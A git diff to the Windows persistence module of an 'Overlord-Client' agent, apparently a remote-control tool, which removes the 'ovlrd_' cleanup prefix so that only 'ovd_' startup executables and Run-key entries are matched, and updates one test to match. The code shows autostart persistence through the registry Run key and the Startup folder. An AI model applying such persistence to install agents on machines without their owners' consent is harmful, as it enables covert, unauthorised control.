diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go index 39610d1..50044d4 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go @@ -18,7 +18,6 @@ import ( const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` const startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup` const startupExecutablePrefix = "ovd_" -const cleanupExecutablePrefix = "ovlrd_" const legacyRegistryValueName = "OverlordAgent" const registryValuePrefix = "OverlordAgent-" @@ -64,7 +63,7 @@ func findExistingStartupExecutable(startupDir string) (string, bool) { if !strings.HasSuffix(name, ".exe") { continue } - if strings.HasPrefix(name, startupExecutablePrefix) || strings.HasPrefix(name, cleanupExecutablePrefix) { + if strings.HasPrefix(name, startupExecutablePrefix) { return filepath.Join(startupDir, entry.Name()), true } } @@ -208,7 +207,7 @@ func cleanupPrefixedExecutables(dir string) error { continue } name := strings.ToLower(entry.Name()) - if strings.HasPrefix(name, cleanupExecutablePrefix) || strings.HasPrefix(name, startupExecutablePrefix) { + if strings.HasPrefix(name, startupExecutablePrefix) { if err := os.Remove(filepath.Join(dir, entry.Name())); err != nil && !os.IsNotExist(err) { return fmt.Errorf("failed to remove startup artifact %s: %w", filepath.Join(dir, entry.Name()), err) } diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go index 51aa65a..399f849 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go @@ -37,7 +37,7 @@ func TestGetTargetPath_PrefersExistingPrefixedExecutable(t *testing.T) { t.Fatalf("mkdir startup dir failed: %v", err) } - expected := filepath.Join(startupDir, "ovlrd_existing.exe") + expected := filepath.Join(startupDir, "ovd_existing.exe") if err := os.WriteFile(expected, []byte("x"), 0644); err != nil { t.Fatalf("write startup executable failed: %v", err) }